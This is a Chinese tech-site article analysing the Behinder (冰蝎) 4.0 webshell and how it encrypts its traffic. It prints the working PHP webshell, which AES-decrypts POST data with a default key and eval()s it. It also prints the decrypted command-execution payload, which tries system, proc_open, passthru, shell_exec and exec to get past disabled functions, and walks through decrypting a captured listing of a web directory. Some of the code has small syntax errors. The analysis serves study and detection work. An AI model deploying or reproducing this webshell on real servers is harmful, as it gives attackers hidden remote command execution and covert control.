我的编程空间,编程开发者的网络收藏夹
学习永远不晚

网络安全中流量加密实现工具冰蝎4.0介绍

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

网络安全中流量加密实现工具冰蝎4.0介绍

前几天写完了蚁剑,今天就研究下冰蝎吧,

冰蝎最主要的是可以流量加密,由于其密钥是可随机变化而无法深度了解特征

在最新的冰蝎 4.0 中,有多种加密方式,比如 异或 ,基于 Base64 的异或,在要么就是经典的 AES 加密等等共有 6 种加密方式,不同的加密方式其服务端的文件也是不一样的的

从冰蝎 3.0 开始,开始了密钥预共享制度,也就是在 WebShell 发过去的时候,密钥就提前发了过去,避免了在传输密钥的时候检测到了流量特征

这六种加密方式在 WireShark 种都是加密状态,在这里就选一种来说明吧

就用 aes_with_magic 来说明吧

我们可以先看看服务端的文件

<?php
@error_reporting(0);
	    function Decrypt($data)
    {
        $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond
        $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度
        $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
        return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
    }
	$post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

开发者在注释上说的很明白了,所以我就不再描述了

我们看看客户端都发送了什么

让我们利用 WireShark 抓包

难道我们就没有办法看源代码了吗?

不要着急,冰蝎提供了加解密模块,就让我们利用这个加解密模块

然后我们经过代码格式化,就得到了一下代码内容

<?php 
@error_reporting(0);
function getSafeStr($str) {
    $s1 = iconv('utf-8', 'gbk//IGNORE', $str);
    $s0 = iconv('gbk', 'utf-8//IGNORE', $s1);
    if ($s0 == $str) {
        return $s0;
    } else {
        return iconv('gbk','u tf-8//IGNORE', $str);
    }
}
function main($cmd, $path) {
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (!empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);
        $kWJW = NULL;
        while (!feof($pipes[1])) {
            $kWJW.= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (!feof($fp)) {
                $kWJW.= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}
function Encrypt($data) {
    $key = "e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond
    $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
  	$magicNum=hexdec(substr($key,0,2))%16; //根据密钥动�?�确定魔法尾巴的长度 
  	for($i=0;$i<$magicNum;$i++)
    { 
      encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
    }
  	return $encrypted; 
}
$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ;
$cmd=base64_decode($cmd);
$path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ;
$path=base64_decode($path);
main($cmd,$path);
?>

实际上这段代码比蚁剑的更简单(还是说我看蚁剑看的理解力提升了)

另外我们发送的指令并没有在流量包里利用 POST 发送,而是直接放在代码里,也就是以下部分

$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ;
$cmd=base64_decode($cmd);
$path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ;
$path=base64_decode($path);
main($cmd,$path);

根据代码可以看出是以 Base64 编码的(都挺喜欢base64的)

这时候我们去 Base64 解码的界面看一下

我们可以看见要执行的文件路径和命令

这些代码的逻辑也很简单,收到数据进行编码,然后执行 main 函数,

这个 main 函数中有着路径处理和 exec 敏感函数等处理

最后在输出结果的时候把字符串统一归为 UTF-8 输出

根据代码,我们将输出 status 和 msg 两个键,分别表示结果和值然后用 Base64 加密

根据抓包解密可以得出以下内容

mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7ZaYDIyHvQh3/rMjX01idF5A7UT6WKV/UN03gJabE2ZujoOYc/9WqnITIllXWXAt5uVnTlg08cteJYAmd9QKIu6xaqxV+4tL3vQe+voHNzIQU9prCMLpt9BiX4spz4lSDb+B0z851g/J7gU6v//pfaM1gMJBmsU54VA6eTzaUYZ4bcLm/G0Tgfl3Bg25+WXmCw=\

解密

{
    "status":"c3VjY2Vzcw==",
    "msg":"NDA0Lmh0bWwKNTB4Lmh0bWwKZW4tVVMKaWNvbnMKaW1nCmluZGV4LnBocApuZ2lueC1sb2dvLnBuZwpwb3dlcmVkYnkucG5nCnNoZWxsLnBocApzaGVsbDIucGhwCg=="
}

然后我们去解码

这时候我们得到了 success 状态(代码里面也有写 Fail ,估计是操作不当了),以及文件里面的路径

流量特征说实话很难摸透,除非短时间内有大量相同的开头,这就得好好商榷了

  • 题外话

我发现新版的冰蝎多了很多好用的功能,比方平行空间,这么就可以看见局域网内存活的主机了

根据开发者说还可以蝎中蝎

到此这篇关于网络安全中流量加密实现工具冰蝎4.0介绍的文章就介绍到这了,更多相关网络安全冰蝎内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

网络安全中流量加密实现工具冰蝎4.0介绍

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录